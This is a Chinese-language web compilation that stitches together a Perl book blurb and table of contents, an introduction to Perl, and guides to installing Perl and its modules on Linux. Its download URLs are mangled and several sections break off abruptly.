本书简介 本书不仅仅是一本关于Perl的书籍，更是一本独一无二的开发者自己介绍该语言及其文化的书籍。Larry Wall是Perl的开发者，并就的未来发展方向提出了自己的看法。Tom Christiansen是最早的几个拥护者之一，也是少数几个在错综复杂的中游刃有余的人之一。Jon Orwant是《Perl Journal》的主编，该杂志把Perl社区组合成了一个共同的论坛，以进行Perl新的开发。 目录 前言 第一部分 概述 第一章Perl概述 第二部分 细节 第二章集腋成裘 第三章一元和二元操作符 第四章语句和声明 第五章模式匹配 第六章子例程 第七章格式 第八章引用 第九章数据结构 第十章包 第十一章模块 第十二章对象 第十三章重载 第十四章绑定变量 第三部分 作为技术的Perl 第十五章Unicode 第十六章进程间通信 第十七章线程 第十八章编译 第十九章命令行接口 第二十章Perl调试器 第二十一章内部和外部 第四部分 作为文化的Perl 第二十二章 CPAN 第二十三章 安全 第二十四章 通用实践 第二十五章 可移植的Perl 第二十六章 pod 第二十七章 Perl文化 第五部分 参考资料 第二十八章 特殊名字 第二十九章 函数 第三十章标准Perl库 第三十一章 pragma
perl编写genesis脚本
一perl是什么？二perl在哪里？三运行四注释一、Perl是什么? Perl是Practical Extraction and Report Language的缩写，它是由Larry Wall设计的，并由他不断更新和维护，用于在UNIX环境下编程。 .Perl具有高级语言（如C）的强大能力和灵活性。事实上，你将看到，它的许多特性是从C语言中借用来的。 .与脚本语言一样，Perl不需要编译器和链接器来运行代码，你要做的只是写出程序并告诉Perl来运行而已。这意味着Perl对于小的编程问题的快速解决方案和为大型事件创建原型来测试潜在的解决方案是十分理想的。 .Perl提供脚本语言（如sed和awk）的所有功能，还具有它们所不具备的很多功能。Perl还支持sed到Perl及awd到Perl的翻译器。 简而言之，Perl象C一样强大，象awk、sed等脚本描述语言一样方便。 二、Perl在哪里? Perl通常位于/usr/local/bin/perl或/usr/bin/perl中。你可以在Internet用匿名FTP 免费得到它，如{{ftp://https://www.360docs.net/doc/3316371995.html,/pub/gnu/perl-5.004.tar.gz}}。 安装过程为： (1)解压： $gunzip perl-5.004.tar.gz $tar xvf -
在linux下安装perl模块
在linux下安装perl模块 Linux和perl都属于自由软件，将二者结合真是妙不可言。遵循以下步骤一般就可安装好perl，perl 就能在linux下欢唱。1、取得最新版本的perl，当前版本为5.6.0,即stable.tar.gz。 2、解文件包： gunzip stable.tar.gz tar xvf stable.tar 得到目录perl-5.6.0 3、在目录perl-5.6.0 下安装perl： rm -f config.sh Policy.sh sh Configure -de make make test make install config.sh Policy.sh 为以前安装时的配置文件，新安装或升级安装时需要将其删除。 sh Configure -de 安装使用默认配置，一般而言将会ok 。 安装完成后perl 所在目录为/usr/local/lib/perl5, perl 执行文件在 /usr/local/bin 中。 4、关于 .html 文件 安装perl 时不能自动安装 .html 文件，在perl-5.6.0 目录中有一个installhtml 文件，执行perl installhtml --help可得到使用帮助，使用installhtml可将 .pod 及 .pm 文件编译得到相应的 .html 文件文件，它的具体使用请自己看。 下面是我所写的一个具有类似功能的程序。 simple_find("5.6.0");# 含 .pm 文件的源目录
use Pod::Html; sub simple_find{ $sourth="/usr/local/lib/perl5/5.6.0html/"; #含 .html的目标目录my ($input)=@_; my $file; $ddir=$sourth.$input; $cont=`file $ddir`; if ($cont !~/$ddir:sdirectory/){ `mkdir $ddir`; }opendir(md,$input); my @file=readdir(md); closedir(md); @pfile= grep(m/.pm/,@file); my @dfile= grep(!m/.pm/,@file); @dfile=grep(!m/^./,@dfile); foreach $pfile(@pfile){ $pfile=~/.pm/; $dfile=$`; $sfile=$input."/".$pfile; $dfile=$sourth.$input."/".$dfile.".html"; pod2html( "--infile=$sfile", "--outfile=$dfile"); }
Linux下安装Perl模块的方法
Linux下安装Perl模块的方法 2015年04月06日? Perl基础? 共1116字? 字号小中大? 评论1 条? 阅读1,171 次 方法一、手工安装的步骤 从CPAN下载了DBI模块1.13版的压缩文件DBI-1.13.tar.gz，假设放在/usr/local/src/下。 cd /usr/local/src 解压缩这个文件： tar xvzf DBI-1.13.tar.gz 这时会新建一个DBI-1.13的目录。 cd DBI-1.13 生成makefile： perl Makefile.PL 建立模块 make 测试模块 make test 如果测试结果报告“all test ok”，您就可以放心地安装编译好的模块了。安装模块前，先要确保您对perl5安装目录有可写权限（通常以su命令获得），执行： make install
现在，写个程序试试吧。 #!/usr/bin/perl-w use strict; use DBI; 上述步骤适合于Linux/Unix下绝大多数的Perl模块。可能还有少数模块的安装方法略有差别，所以最好先看看安装目录里的README或INSTALL。另外，上述过程是针对动态链接的Perl编译器（所有Linux下预安装的Perl都是动态链接的），如果您在使用一个静态链接的Perl，您需要将新的模块静态链接到perl编译器中，可能还需要重启机器。 方法二、使用CPAN模块自动安装： 安装前需要先联上网，并且您需要取得root权限。 perl -MCPAN -e shell 初次运行CPAN时需要做一些设置，如果您的机器是直接与internet相联（拨号上网、专线，etc.），那么一路回车就行了，只需要在最后选一个离您最近的CPAN镜像站点。例如我选的是位于国内的中国自由软件库ftp://https://www.360docs.net/doc/3316371995.html,/pub/languages/perl/CPAN。否则，如果您的机器位于防火墙之后，还需要设置ftp代理或http代理。 获得帮助 cpan>h 列出CPAN上所有模块的列表 cpan>m 根据关键字在CPAN上查找某个模块： cpan[1]> i /scws/